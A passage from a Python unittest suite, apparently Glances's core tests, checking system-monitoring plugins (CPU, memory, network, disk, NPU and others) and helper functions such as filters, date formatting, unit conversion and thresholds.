\"\"\"Check CPU plugin.\"\"\"\n        stats_to_check = ['system', 'user', 'idle']\n        print('INFO: [TEST_003] Check mandatory CPU stats: {}'.format(', '.join(stats_to_check)))\n        stats_grab = stats.get_plugin('cpu').get_raw()\n        for stat in stats_to_check:\n            # Check that the key exist\n            self.assertTrue(stat in stats_grab, msg=f'Cannot find key: {stat}')\n            # Check that % is > 0 and < 100\n            self.assertGreaterEqual(stats_grab[stat], 0)\n            self.assertLessEqual(stats_grab[stat], 100)\n        print(f'INFO: CPU stats: {stats_grab}')\n\n    @unittest.skipIf(WINDOWS, \"Load average not available on Windows\")\n    def test_004_load(self):\n        \"\"\"Check LOAD plugin.\"\"\"\n        stats_to_check = ['cpucore', 'min1', 'min5', 'min15']\n        print('INFO: [TEST_004] Check LOAD stats: {}'.format(', '.join(stats_to_check)))\n        stats_grab = stats.get_plugin('load').get_raw()\n        for stat in stats_to_check:\n            # Check that the key exist\n            self.assertTrue(stat in stats_grab, msg=f'Cannot find key: {stat}')\n            # Check that % is > 0\n            self.assertGreaterEqual(stats_grab[stat], 0)\n        print(f'INFO: LOAD stats: {stats_grab}')\n\n    def test_005_mem(self):\n        \"\"\"Check MEM plugin.\"\"\"\n        plugin_name = 'mem'\n        stats_to_check = ['available', 'used', 'free', 'total']\n        print('INFO: [TEST_005] Check {} stats: {}'.format(plugin_name, ', '.join(stats_to_check)))\n        stats_grab = stats.get_plugin('mem').get_raw()\n        for stat in stats_to_check:\n            # Check that the key exist\n            self.assertTrue(stat in stats_grab, msg=f'Cannot find key: {stat}')\n            # Check that % is > 0\n            self.assertGreaterEqual(stats_grab[stat], 0)\n        print(f'INFO: MEM stats: {stats_grab}')\n\n    def test_006_memswap(self):\n        \"\"\"Check MEMSWAP plugin.\"\"\"\n        stats_to_check = ['used', 'free', 'total']\n        print('INFO: [TEST_006] Check MEMSWAP stats: {}'.format(', '.join(stats_to_check)))\n        stats_grab = stats.get_plugin('memswap').get_raw()\n        for stat in stats_to_check:\n            # Check that the key exist\n            self.assertTrue(stat in stats_grab, msg=f'Cannot find key: {stat}')\n            # Check that % is > 0\n            self.assertGreaterEqual(stats_grab[stat], 0)\n        print(f'INFO: MEMSWAP stats: {stats_grab}')\n\n    def test_007_network(self):\n        \"\"\"Check NETWORK plugin.\"\"\"\n        print('INFO: [TEST_007] Check NETWORK stats')\n        stats_grab = stats.get_plugin('network').get_raw()\n        self.assertTrue(isinstance(stats_grab, list), msg='Network stats is not a list')\n        print(f'INFO: NETWORK stats: {stats_grab}')\n\n    def test_008_diskio(self):\n        \"\"\"Check DISKIO plugin.\"\"\"\n        print('INFO: [TEST_008] Check DISKIO stats')\n        stats_grab = stats.get_plugin('diskio').get_raw()\n        self.assertTrue(isinstance(stats_grab, list), msg='DiskIO stats is not a list')\n        print(f'INFO: diskio stats: {stats_grab}')\n\n    def test_009_fs(self):\n        \"\"\"Check File System plugin.\"\"\"\n        # stats_to_check = [ ]\n        print('INFO: [TEST_009] Check FS stats')\n        stats_grab = stats.get_plugin('fs').get_raw()\n        self.assertTrue(isinstance(stats_grab, list), msg='FileSystem stats is not a list')\n        print(f'INFO: FS stats: {stats_grab}')\n\n    def test_010_processes(self):\n        \"\"\"Check Process plugin.\"\"\"\n        # stats_to_check = [ ]\n        print('INFO: [TEST_010] Check PROCESS stats')\n        stats_grab = stats.get_plugin('processcount').get_raw()\n        # total = stats_grab['total']\n        self.assertTrue(isinstance(stats_grab, dict), msg='Process count stats is not a dict')\n        print(f'INFO: PROCESS count stats: {stats_grab}')\n        stats_grab = stats.get_plugin('processlist').get_raw()\n        self.assertTrue(isinstance(stats_grab, list), msg='Process count stats is not a list')\n        print(f'INFO: PROCESS list stats: {len(stats_grab)} items in the list')\n        # Check if number of processes in the list equal counter\n        # self.assertEqual(total, len(stats_grab))\n\n    def test_010a_processes_cpu_num(self):\n        \"\"\"Check Process cpu_num (processor) field.\"\"\"\n        print('INFO: [TEST_010a] Check PROCESS cpu_num field')\n\n        # Test 1: Capability detection\n        from glances.processes import glances_processes\n\n        self.assertTrue(hasattr(glances_processes, 'disable_cpu_num'))\n        print(f'INFO: cpu_num capability - disable_cpu_num={glances_processes.disable_cpu_num}')\n\n        # Test 2: Field in displayed attributes when not disabled\n        displayed_attr = glances_processes.get_displayed_attr()\n        if glances_processes.disable_cpu_num:\n            self.assertNotIn('cpu_num', displayed_attr)\n        else:\n            self.assertIn('cpu_num', displayed_attr)\n        print(f'INFO: cpu_num in displayed_attr: {not glances_processes.disable_cpu_num}')\n\n        # Test 3: Display formatting\n        from unittest.mock import Mock\n\n        from glances.plugins.processlist import ProcesslistPlugin\n\n        plugin = ProcesslistPlugin()\n        args = Mock()\n        args.disable_irix = False\n        args.disable_cursor = False\n\n        # Test valid cpu_num value\n        result_valid = plugin._get_process_curses_cpu_num({'cpu_num': 5}, False, args)\n        self.assertEqual(result_valid.get('msg'), '  5 ')\n        self.assertEqual(len(result_valid.get('msg')), 4)\n\n        # Test None value\n        result_none = plugin._get_process_curses_cpu_num({'cpu_num': None}, False, args)\n        self.assertEqual(result_none.get('msg'), '  - ')\n\n        # Test missing key\n        result_missing = plugin._get_process_curses_cpu_num({}, False, args)\n        self.assertEqual(result_missing.get('msg'), '  - ')\n\n        print('INFO: cpu_num display formatting tests passed')\n\n    def test_011_folders(self):\n        \"\"\"Check File System plugin.\"\"\"\n        # stats_to_check = [ ]\n        print('INFO: [TEST_011] Check FOLDER stats')\n        stats_grab = stats.get_plugin('folders').get_raw()\n        self.assertTrue(isinstance(stats_grab, list), msg='Folders stats is not a list')\n        print(f'INFO: Folders stats: {stats_grab}')\n\n    def test_012_ip(self):\n        \"\"\"Check IP plugin.\"\"\"\n        print('INFO: [TEST_012] Check IP stats')\n        stats_grab = stats.get_plugin('ip').get_raw()\n        self.assertTrue(isinstance(stats_grab, dict), msg='IP stats is not a dict')\n        print(f'INFO: IP stats: {stats_grab}')\n\n    @unittest.skipIf(not LINUX, \"IRQs available only on Linux\")\n    def test_013_irq(self):\n        \"\"\"Check IRQ plugin.\"\"\"\n        print('INFO: [TEST_013] Check IRQ stats')\n        stats_grab = stats.get_plugin('irq').get_raw()\n        self.assertTrue(isinstance(stats_grab, list), msg='IRQ stats is not a list')\n        print(f'INFO: IRQ stats: {stats_grab}')\n\n    @unittest.skipIf(not LINUX, \"GPU available only on Linux\")\n    def test_014_gpu(self):\n        \"\"\"Check GPU plugin.\"\"\"\n        print('INFO: [TEST_014] Check GPU stats')\n        stats_grab = stats.get_plugin('gpu').get_raw()\n        self.assertTrue(isinstance(stats_grab, list), msg='GPU stats is not a list')\n        print(f'INFO: GPU stats: {stats_grab}')\n\n    def test_015_sorted_stats(self):\n        \"\"\"Check sorted stats method.\"\"\"\n        print('INFO: [TEST_015] Check sorted stats method')\n        aliases = {\n            \"key2\": \"alias11\",\n            \"key5\": \"alias2\",\n        }\n        unsorted_stats = [\n            {\"key\": \"key4\"},\n            {\"key\": \"key2\"},\n            {\"key\": \"key5\"},\n            {\"key\": \"key21\"},\n            {\"key\": \"key3\"},\n        ]\n\n        gp = GlancesPluginModel()\n        gp.get_key = lambda: \"key\"\n        gp.has_alias = aliases.get\n        gp.stats = unsorted_stats\n\n        sorted_stats = gp.sorted_stats()\n        self.assertEqual(len(sorted_stats), 5)\n        self.assertEqual(sorted_stats[0][\"key\"], \"key5\")\n        self.assertEqual(sorted_stats[1][\"key\"], \"key2\")\n        self.assertEqual(sorted_stats[2][\"key\"], \"key3\")\n        self.assertEqual(sorted_stats[3][\"key\"], \"key4\")\n        self.assertEqual(sorted_stats[4][\"key\"], \"key21\")\n\n    def test_016_subsample(self):\n        \"\"\"Test subsampling function.\"\"\"\n        print('INFO: [TEST_016] Subsampling')\n        for l_test in [\n            ([1, 2, 3], 4),\n            ([1, 2, 3, 4], 4),\n            ([1, 2, 3, 4, 5, 6, 7], 4),\n            ([1, 2, 3, 4, 5, 6, 7, 8], 4),\n            (list(range(1, 800)), 4),\n            (list(range(1, 8000)), 800),\n        ]:\n            l_subsample = subsample(l_test[0], l_test[1])\n            self.assertLessEqual(len(l_subsample), l_test[1])\n\n    def test_017_hddsmart(self):\n        \"\"\"Check hard disk SMART data plugin.\"\"\"\n        try:\n            from glances.globals import is_admin\n        except ImportError:\n            print(\"INFO: [TEST_017] pySMART not found, not running SMART plugin test\")\n            return\n\n        stat = 'DeviceName'\n        print(f'INFO: [TEST_017] Check SMART stats: {stat}')\n        stats_grab = stats.get_plugin('smart').get_raw()\n        if not is_admin():\n            print(\"INFO: Not admin, SMART list should be empty\")\n            assert len(stats_grab) == 0\n        elif stats_grab == {}:\n            print(\"INFO: Admin but SMART list is empty\")\n            assert len(stats_grab) == 0\n        else:\n            print(stats_grab)\n            self.assertTrue(stat in stats_grab[0], msg=f'Cannot find key: {stat}')\n\n        print(f'INFO: SMART stats: {stats_grab}')\n\n    def test_017_programs(self):\n        \"\"\"Check Programs plugin.\"\"\"\n        # stats_to_check = [ ]\n        print('INFO: [TEST_022] Check PROGRAMS stats')\n        stats_grab = stats.get_plugin('programlist').get_raw()\n        self.assertTrue(isinstance(stats_grab, list), msg='Programs stats is not a list')\n        if stats_grab:\n            self.assertTrue(isinstance(stats_grab[0], dict), msg='Programs stats is not a list of dict')\n            self.assertTrue('nprocs' in stats_grab[0], msg='No nprocs')\n\n    def test_018_string_value_to_float(self):\n        \"\"\"Check string_value_to_float function\"\"\"\n        print('INFO: [TEST_018] Check string_value_to_float function')\n        self.assertEqual(string_value_to_float('32kB'), 32000.0)\n        self.assertEqual(string_value_to_float('32 KB'), 32000.0)\n        self.assertEqual(string_value_to_float('15.5MB'), 15500000.0)\n        self.assertEqual(string_value_to_float('25.9'), 25.9)\n        self.assertEqual(string_value_to_float('12'), 12)\n        self.assertEqual(string_value_to_float('--'), None)\n\n    def test_019_events(self):\n        \"\"\"Test events class\"\"\"\n        print('INFO: [TEST_019] Test events')\n        # Init events\n        events = GlancesEventsList(max_events=5, min_duration=1, min_interval=3)\n        # Minimal event duration not reached\n        events.add('WARNING', 'LOAD', 4)\n        events.add('CRITICAL', 'LOAD', 5)\n        events.add('OK', 'LOAD', 1)\n        self.assertEqual(len(events.get()), 0)\n        # Minimal event duration LOAD reached\n        events.add('WARNING', 'LOAD', 4)\n        time.sleep(1)\n        events.add('CRITICAL', 'LOAD', 5)\n        time.sleep(1)\n        events.add('OK', 'LOAD', 1)\n        self.assertEqual(len(events.get()), 1)\n        self.assertEqual(events.get()[0]['type'], 'LOAD')\n        self.assertEqual(events.get()[0]['state'], 'CRITICAL')\n        self.assertEqual(events.get()[0]['max'], 5)\n        # Minimal event duration CPU reached\n        events.add('WARNING', 'CPU', 60)\n        time.sleep(1)\n        events.add('WARNING', 'CPU', 70)\n        time.sleep(1)\n        events.add('OK', 'CPU', 10)\n        self.assertEqual(len(events.get()), 2)\n        self.assertEqual(events.get()[0]['type'], 'CPU')\n        self.assertEqual(events.get()[0]['state'], 'WARNING')\n        self.assertEqual(events.get()[0]['min'], 60)\n        self.assertEqual(events.get()[0]['max'], 70)\n        self.assertEqual(events.get()[0]['count'], 2)\n        # Minimal event duration CPU reached (again)\n        # but time between two events (min_interval) is too short\n        # a merge will be done\n        time.sleep(0.5)\n        events.add('WARNING', 'CPU', 60)\n        time.sleep(1)\n        events.add('WARNING', 'CPU', 80)\n        time.sleep(1)\n        events.add('OK', 'CPU', 10)\n        self.assertEqual(len(events.get()), 2)\n        self.assertEqual(events.get()[0]['type'], 'CPU')\n        self.assertEqual(events.get()[0]['state'], 'WARNING')\n        self.assertEqual(events.get()[0]['min'], 60)\n        self.assertEqual(events.get()[0]['max'], 80)\n        self.assertEqual(events.get()[0]['count'], 4)\n        # Clean WARNING events\n        events.clean()\n        self.assertEqual(len(events.get()), 1)\n\n    def test_020_filter(self):\n        \"\"\"Test filter classes\"\"\"\n        print('INFO: [TEST_020] Test filter')\n        gf = GlancesFilter()\n        gf.filter = '.*python.*'\n        self.assertEqual(gf.filter, '.*python.*')\n        self.assertEqual(gf.filter_key, None)\n        self.assertTrue(gf.is_filtered({'name': 'python'}))\n        self.assertTrue(gf.is_filtered({'name': '/usr/bin/python -m glances'}))\n        self.assertFalse(gf.is_filtered({'noname': 'python'}))\n        self.assertFalse(gf.is_filtered({'name': 'snake'}))\n        gf.filter = 'username:nicolargo'\n        self.assertEqual(gf.filter, 'nicolargo')\n        self.assertEqual(gf.filter_key, 'username')\n        self.assertTrue(gf.is_filtered({'username': 'nicolargo'}))\n        self.assertFalse(gf.is_filtered({'username': 'notme'}))\n        self.assertFalse(gf.is_filtered({'notuser': 'nicolargo'}))\n        gfl = GlancesFilterList()\n        gfl.filter = '.*python.*,username:nicolargo'\n        self.assertTrue(gfl.is_filtered({'name': 'python is in the place'}))\n        self.assertFalse(gfl.is_filtered({'name': 'snake is in the place'}))\n        self.assertTrue(gfl.is_filtered({'name': 'snake is in the place', 'username': 'nicolargo'}))\n        self.assertFalse(gfl.is_filtered({'name': 'snake is in the place', 'username': 'notme'}))\n\n    def test_021_pretty_date(self):\n        \"\"\"Test pretty_date\"\"\"\n        print('INFO: [TEST_021] pretty_date')\n        self.assertEqual(pretty_date(datetime(2024, 1, 1, 12, 0), datetime(2024, 1, 1, 12, 0)), 'just now')\n        self.assertEqual(pretty_date(datetime(2024, 1, 1, 11, 59), datetime(2024, 1, 1, 12, 0)), 'a min')\n        self.assertEqual(pretty_date(datetime(2024, 1, 1, 11, 55), datetime(2024, 1, 1, 12, 0)), '5 mins')\n        self.assertEqual(pretty_date(datetime(2024, 1, 1, 11, 0), datetime(2024, 1, 1, 12, 0)), 'an hour')\n        self.assertEqual(pretty_date(datetime(2024, 1, 1, 0, 0), datetime(2024, 1, 1, 12, 0)), '12 hours')\n        self.assertEqual(pretty_date(datetime(2023, 12, 20, 0, 0), datetime(2024, 1, 1, 12, 0)), 'a week')\n        self.assertEqual(pretty_date(datetime(2023, 12, 5, 0, 0), datetime(2024, 1, 1, 12, 0)), '3 weeks')\n        self.assertEqual(pretty_date(datetime(2023, 12, 1, 0, 0), datetime(2024, 1, 1, 12, 0)), 'a month')\n        self.assertEqual(pretty_date(datetime(2023, 6, 1, 0, 0), datetime(2024, 1, 1, 12, 0)), '7 months')\n        self.assertEqual(pretty_date(datetime(2023, 1, 1, 0, 0), datetime(2024, 1, 1, 12, 0)), 'an year')\n        self.assertEqual(pretty_date(datetime(2020, 1, 1, 0, 0), datetime(2024, 1, 1, 12, 0)), '4 years')\n\n    def test_022_plugin_dag(self):\n        \"\"\"Test Plugin DAG\"\"\"\n        print('INFO: [TEST_022] Plugins DAG')\n        self.assertEqual(get_plugin_dependencies('amps'), ['amps', 'alert'])\n        self.assertEqual(get_plugin_dependencies('cpu'), ['cpu', 'core', 'alert'])\n        self.assertEqual(get_plugin_dependencies('load'), ['load', 'core', 'alert'])\n        self.assertEqual(get_plugin_dependencies('processlist'), ['processlist', 'core', 'processcount', 'alert'])\n        self.assertEqual(get_plugin_dependencies('programlist'), ['programlist', 'processcount', 'alert'])\n        self.assertEqual(get_plugin_dependencies('quicklook'), ['quicklook', 'fs', 'core', 'load', 'alert'])\n        self.assertEqual(get_plugin_dependencies('vms'), ['vms', 'processcount', 'alert'])\n\n    def test_023_get_alert(self):\n        \"\"\"Test get_alert function\"\"\"\n        print('INFO: [TEST_023] get_alert')\n        self.assertEqual(stats.get_plugin('cpu').get_alert(10, minimum=0, maximum=100, header='total'), 'OK_LOG')\n        self.assertEqual(stats.get_plugin('cpu').get_alert(65, minimum=0, maximum=100, header='total'), 'CAREFUL_LOG')\n        self.assertEqual(stats.get_plugin('cpu').get_alert(75, minimum=0, maximum=100, header='total'), 'WARNING_LOG')\n        self.assertEqual(stats.get_plugin('cpu').get_alert(85, minimum=0, maximum=100, header='total'), 'CRITICAL_LOG')\n\n    def test_024_split_esc(self):\n        \"\"\"Test split_esc function\"\"\"\n        print('INFO: [TEST_024] split_esc')\n        self.assertEqual(split_esc(r''), [])\n        self.assertEqual(split_esc('\\\\'), [])\n        self.assertEqual(split_esc(r'abcd'), [r'abcd'])\n        self.assertEqual(split_esc(r'abcd efg'), [r'abcd', r'efg'])\n        self.assertEqual(split_esc('abcd      \\n\\t\\f efg'), [r'abcd', r'efg'])\n        self.assertEqual(split_esc(r'abcd\\ efg'), [r'abcd efg'])\n        self.assertEqual(split_esc(r'', ':'), [''])\n        self.assertEqual(split_esc(r'abcd', ':'), [r'abcd'])\n        self.assertEqual(split_esc(r'abcd:efg', ':'), [r'abcd', r'efg'])\n        self.assertEqual(split_esc(r'abcd\\:efg', ':'), [r'abcd:efg'])\n        self.assertEqual(split_esc(r'abcd:efg:hijk', ':'), [r'abcd', r'efg', r'hijk'])\n        self.assertEqual(split_esc(r'abcd\\:efg:hijk', ':'), [r'abcd:efg', r'hijk'])\n        self.assertEqual(split_esc(r'abcd\\:efg:hijk\\:lmnop:qrs', ':', maxsplit=0), [r'abcd\\:efg:hijk\\:lmnop:qrs'])\n        self.assertEqual(split_esc(r'abcd\\:efg:hijk\\:lmnop:qrs', ':', maxsplit=1), [r'abcd:efg', r'hijk\\:lmnop:qrs'])\n        self.assertEqual(\n            split_esc(r'abcd\\:efg:hijk\\:lmnop:qrs', ':', maxsplit=10), [r'abcd:efg', r'hijk:lmnop', r'qrs']\n        )\n        self.assertEqual(split_esc(r'ahellobhelloc', r'hello'), [r'a', r'b', r'c'])\n        self.assertEqual(split_esc(r'a\\hellobhelloc', r'hello'), [r'ahellob', r'c'])\n        self.assertEqual(split_esc(r'ahe\\llobhelloc', r'hello'), [r'ahellob', r'c'])\n\n    @unittest.skipIf(not LINUX, \"NPU available only on Linux\")\n    @unittest.skipIf(WINDOWS, \"NPU available only on Linux\")\n    @unittest.skipIf(WSL, \"NPU available only on Linux\")\n    def test_025_npu(self):\n        \"\"\"Check NPU plugin.\"\"\"\n        print('INFO: [TEST_025] Check NPU stats')\n        if stats.get_plugin('npu').is_disabled():\n            # Disable test if stats is disable in configuration file\n            # Related to #3425\n            return\n        stats_grab = stats.get_plugin('npu').get_raw()\n        self.assertTrue(isinstance(stats_grab, list), msg='NPU stats is not a list')\n        # Test AMD NPU plugin with test data\n        print('INFO: [TEST_025] Check AMD NPU stats with test data')\n        stats_amd_npu = NpuPlugin(\n            config=test_config, args=test_args, amd_npu_root_folder='./tests-data/plugins/npu/amd'\n        )\n        stats_amd_npu.update()\n        stats_grab = stats_amd_npu.get_raw()\n        self.assertTrue(isinstance(stats_grab, list), msg='NPU stats is not a list')\n        self.assertEqual(\n            stats_grab[0],\n            {\n                'npu_id': 'amd_1',\n                'name': 'AMD NPU (Strix Point)',\n                'load': None,\n                'freq': 53,\n                'freq_current': 800000000,\n                'freq_max': 1500000000,\n                'mem': None,\n                'memory_used': None,\n                'memory_total': None,\n                'temperature': None,\n                'power': None,\n            },\n        )\n        # Test Intel NPU plugin with test data\n        print('INFO: [TEST_025] Check Intel NPU stats with test data')\n        stats_intel_npu = NpuPlugin(\n            config=test_config, args=test_args, intel_npu_root_folder='./tests-data/plugins/npu/intel'\n        )\n        stats_intel_npu.update()\n        stats_grab = stats_intel_npu.get_raw()\n        self.assertTrue(isinstance(stats_grab, list), msg='NPU stats is not a list')\n        self.assertEqual(\n            stats_grab[0],\n            {\n                'npu_id': 'intel_1',\n                'name': 'Intel NPU (Meteor Lake)',\n                'load': None,\n                'freq': 57,\n                'freq_current': 800000000,\n                'freq_max': 1400000000,\n                'mem': None,\n                'memory_used': None,\n                'memory_total': None,\n                'temperature': 45.0,\n                'power': 2.5,\n            },\n        )\n        # Test Rockchip NPU plugin with test data\n        print('INFO: [TEST_025] Check Rockchip NPU stats with test data')\n        stats_rockchip_npu = NpuPlugin(\n            config=test_config, args=test_args, rockchip_npu_root_folder='./tests-data/plugins/npu/rockchip'\n        )\n        stats_rockchip_npu.update()\n        stats_grab = stats_rockchip_npu.get_raw()\n        self.assertTrue(isinstance(stats_grab, list), msg='NPU stats is not a list')\n        self.assertEqual(\n            stats_grab[0],\n            {\n                'npu_id': 'rockship_1',\n                'name': 'Orange Pi 5 Plus',\n                'load': 25,\n                'freq': 60,\n                'freq_current': 600000000,\n                'freq_max': 1000000000,\n                'mem': None,\n                'memory_used': None,\n                'memory_total': None,\n                'temperature': None,\n                'power': None,\n            },\n        )\n\n    def test_093_auto_unit(self):\n        \"\"\"Test auto_unit classe\"\"\"\n        print('INFO: [TEST_093] Auto unit')\n        self.assertEqual(auto_unit(1.1234), '1.12')\n        self.assertEqual(auto_unit(1024), '1024')\n        self.assertEqual(auto_unit(1025), '1K')\n        self.assertEqual(auto_unit(613421788), '585M')\n        self.assertEqual(auto_unit(613421788, low_precision=True), '585M')\n        self.assertEqual(auto_unit(5307033647), '4.94G')\n        self.assertEqual(auto_unit(5307033647, low_precision=True), '4.9G')\n        self.assertEqual(auto_unit(44968414685), '41.9G')\n        self.assertEqual(auto_unit(44968414685, low_precision=True), '41.9G')\n        self.assertEqual(auto_unit(838471403472), '781G')\n        self.assertEqual(auto_unit(838471403472, low_precision=True), '781G')\n        self.assertEqual(auto_unit(9683209690677), '8.81T')\n        self.assertEqual(auto_unit(9683209690677, low_precision=True), '8.8T')\n        self.assertEqual(auto_unit(1073741824), '1024M')\n        self.assertEqual(auto_unit(1073741824, low_precision=True), '1024M')\n        self.assertEqual(auto_unit(1181116006), '1.10G')\n        self.assertEqual(auto_unit(1181116006, low_precision=True), '1.1G')\n\n    def test_094_thresholds(self):\n        \"\"\"Test thresholds classes\"\"\"\n        print('INFO: [TEST_094] Thresholds')\n        ok = GlancesThresholdOk()\n        careful = GlancesThresholdCareful()\n        warning = GlancesThresholdWarning()\n        critical = GlancesThresholdCritical()\n        self.assertTrue(ok < careful)\n        self.assertTrue(careful < warning)\n        self.assertTrue(warning < critical)\n        self.assertFalse(ok > careful)\n        self.assertEqual(ok, ok)\n        self.assertEqual(str(ok), 'OK')\n        thresholds = GlancesThresholds()\n        thresholds.add('cpu_percent', 'OK')\n        self.assertEqual(thresholds.get(stat_name='cpu_percent').description(), 'OK')\n\n    def test_095_methods(self):\n        \"\"\"Test mandatories methods\"\"\"\n        print('INFO: [TEST_095] Mandatories methods')\n        mandatories_methods = ['reset', 'update']\n        plugins_list = stats.getPluginsList()\n        for plugin in plugins_list:\n            for method in mandatories_methods:\n                self.assertTrue(hasattr(stats.get_plugin(plugin), method), msg=f'{plugin} has no method {method}()')\n\n    def test_096_views(self):\n        \"\"\"Test get_views method\"\"\"\n        print('INFO: [TEST_096] Test views')\n        plugins_list = stats.getPluginsList()\n        for plugin in plugins_list:\n            stats.get_plugin(plugin).get_raw()\n            views_grab = stats.get_plugin(plugin).get_views()\n            self.assertTrue(isinstance(views_grab, dict), msg=f'{plugin} view is not a dict')\n\n    def test_097_attribute(self):\n        \"\"\"Test GlancesAttribute classes\"\"\"\n        print('INFO: [TEST_097] Test attribute')\n        # GlancesAttribute\n        from glances.attribute import GlancesAttribute\n\n        a = GlancesAttribute('a', description='ad', history_max_size=3)\n        self.assertEqual(a.name, 'a')\n        self.assertEqual(a.description, 'ad')\n        a.description = 'adn'\n        self.assertEqual(a.description, 'adn')\n        a.value = 1\n        a.value = 2\n        self.assertEqual(len(a.history), 2)\n        a.value = 3\n        self.assertEqual(len(a.history), 3)\n        a.value = 4\n        # Check if history_max_size=3 is OK\n        self.assertEqual(len(a.history), 3)\n        self.assertEqual(a.history_size(), 3)\n        self.assertEqual(a.history_len(), 3)\n        self.assertEqual(a.history_value()[1], 4)\n        self.assertEqual(a.history_mean(nb=3), 4.5)\n\n    def test_098_history(self):\n        \"\"\"Test GlancesHistory classes\"\"\"\n        print('INFO: [TEST_098] Test history')\n        # GlancesHistory\n        from glances.history import GlancesHistory\n\n        h = GlancesHistory()\n        h.add('a', 1, history_max_size=100)\n        h.add('a', 2, history_max_size=100)\n        h.add('a', 3, history_max_size=100)\n        h.add('b', 10, history_max_size=100)\n        h.add('b', 20, history_max_size=100)\n        h.add('b', 30, history_max_size=100)\n        self.assertEqual(len(h.get()), 2)\n        self.assertEqual(len(h.get()['a']), 3)\n        h.reset()\n        self.assertEqual(len(h.get()), 2)\n        self.assertEqual(len(h.get()['a']), 0)\n\n    def test_099_output_bars(self):\n        \"\"\"Test quick look plugin.\n\n        > bar.min_value\n        0\n        > bar.max_value\n        100\n        > bar.percent = -1\n        > bar.percent\n        0\n        \"\"\"\n        print('INFO: [TEST_099] Test progress bar')\n\n        bar = Bar(size=1)\n        # Percent value can not be lower than min_value\n        bar.percent = -1\n        self.assertLessEqual(bar.percent, bar.min_value)\n        # but... percent value can be higher than max_value\n        bar.percent = 101\n        self.assertLessEqual(bar.percent, 101)\n\n        # Test display\n        bar = Bar(size=50)\n        bar.percent = 0\n        self.assertEqual(bar.get(), '                                              0.0%')\n        bar.percent = 70\n        self.assertEqual(bar.get(), '|||||||||||||||||||||||||||||||              70.0%')\n        bar.percent = 100\n        self.assertEqual(bar.get(), '||||||||||||||||||||||||||||||||||||||||||||  100%')\n        bar.percent = 110\n        self.assertEqual(bar.get(), '|||||||||||||||||||||||||||||||||||||||||||| >100%')\n\n    # Error in Github Action. Do not remove the comment.\n    # def test_100_system_plugin_method(self):\n    #     \"\"\"Test system plugin methods\"\"\"\n    #     print('INFO: [TEST_100] Test system plugin methods')\n    #     self._common_plugin_tests('system')\n\n    def test_101_cpu_plugin_method(self):\n        \"\"\"Test cpu plugin methods\"\"\"\n        print('INFO: [TEST_100] Test cpu plugin methods')\n        self._common_plugin_tests('cpu')\n\n    @unittest.skipIf(WINDOWS, \"Load average not available on Windows\")\n    def test_102_load_plugin_method(self):\n        \"\"\"Test load plugin methods\"\"\"\n        print('INFO: [TEST_102] Test load plugin methods')\n        self._common_plugin_tests('load')\n\n    def test_103_mem_plugin_method(self):\n        \"\"\"Test mem plugin methods\"\"\"\n        print('INFO: [TEST_103] Test mem plugin methods')\n        self._common_plugin_tests('mem')\n\n    def test_104_memswap_plugin_method(self):\n        \"\"\"Test memswap plugin methods\"\"\"\n        print('INFO: [TEST_104] Test memswap plugin methods')\n        self._common_plugin_tests('memswap')\n\n    def test_105_network_plugin_method(self):\n        \"\"\"Test network plugin methods\"\"\"\n        print('INFO: [TEST_105] Test network plugin methods')\n        self._common_plugin_tests('network')\n\n    # Error in Github Action. Do not remove the comment.\n    # def test_106_diskio_plugin_method(self):\n    #     \"\"\"Test diskio plugin methods\"\"\"\n    #     print('INFO: [TEST_106] Test diskio plugin methods')\n    #     self._common_plugin_tests('diskio')\n\n    # Before uncommenting this test, please correct deprecation warning\n    # ===\n    # tests/test_core.py::TestGlances::test_107_fs_plugin_method\n    # tests/test_core.py::TestGlances::test_107_fs_plugin_method\n    # /python3.14/multiprocessing/popen_fork.py:70: DeprecationWarning:\n    # This process (pid=1467579) is multi-threaded, use of fork() may lead to deadlocks in the child.\n    #     self.pid = os.fork()\n    # -- Docs: https://docs.pytest.org/en/stable/how-to/capture-warnings.html\n    # ===\n    # def test_107_fs_plugin_method(self):\n    #     \"\"\"Test fs plugin methods\"\"\"\n    #     print('INFO: [TEST_107] Test fs plugin methods')\n    #     self._common_plugin_tests('fs')\n\n    def test_108_fs_zfs_(self):\n        \"\"\"Test zfs functions\"\"\"\n        print('INFO: [TEST_108] Test zfs functions')\n        self.assertTrue(zfs_enable('./tests-data/plugins/fs/zfs'))\n        stats = zfs_stats(['./tests-data/plugins/fs/zfs/arcstats'])\n        self.assertTrue(isinstance(stats, dict))\n        self.assertTrue('arcstats.c_min' in stats)\n        self.assertEqual(stats['arcstats.c_min'], 2637352832)\n        self.assertTrue('arcstats.size' in stats)\n        self.assertEqual(stats['arcstats.size'], 41321273080)\n\n    def test_200_views_hidden(self):\n        \"\"\"Test hide feature\"\"\"\n        print('INFO: [TEST_200] Test views hidden feature')\n        # Test will be done with the diskio plugin, first available interface (read_bytes fields)\n        plugin = 'diskio'\n        field = 'read_bytes_rate_per_sec'\n        plugin_instance = stats.get_plugin(plugin)\n        if len(plugin_instance.get_views()) == 0 or not test_config.get_bool_value(plugin, 'hide_zero', False):\n            # No diskIO interface, test can not be done\n            return\n        # Get first disk interface\n        key = list(plugin_instance.get_views().keys())[0]\n        # Test\n        ######\n        # Init the stats\n        plugin_instance.update()\n        raw_stats = plugin_instance.get_raw()\n        # Reset the views\n        plugin_instance.set_views({})\n        # Set field to 0 (should be hidden)\n        raw_stats[0][field] = 0\n        plugin_instance.set_stats(raw_stats)\n        self.assertEqual(plugin_instance.get_raw()[0][field], 0)\n        plugin_instance.update_views()\n        self.assertTrue(plugin_instance.get_views()[key][field]['hidden'])\n        # Set field to 0 (should be hidden)\n        raw_stats[0][field] = 0\n        plugin_instance.set_stats(raw_stats)\n        self.assertEqual(plugin_instance.get_raw()[0][field], 0)\n        plugin_instance.update_views()\n        self.assertTrue(plugin_instance.get_views()[key][field]['hidden'])\n        # Set field to 1 (should not be hidden)\n        raw_stats[0][field] = 1\n        plugin_instance.set_stats(raw_stats)\n        self.assertEqual(plugin_instance.get_raw()[0][field], 1)\n        plugin_instance.update_views()\n        self.assertFalse(plugin_instance.get_views()[key][field]['hidden'])\n        # Set field back to 0 (should not be hidden)\n        raw_stats[0][field] = 0\n        plugin_instance.set_stats(raw_stats)\n        self.assertEqual(plugin_instance.get_raw()[0][field], 0)\n        plugin_instance.update_views()\n        self.assertFalse(plugin_instance.get_views()[key][field]['hidden'])\n\n    def test_700_mmm_feature_parent_class(self):\n        \"\"\"Test MMM (Min/Max/Mean) feature in parent class.\"\"\"\n        print('INFO: [TEST_700] MMM Feature (Min/Max/Mean) in parent class')\n\n        # Create a test plugin with MMM enabled\n        test_fields = {\n            'value': {'description': 'A test value', 'unit': 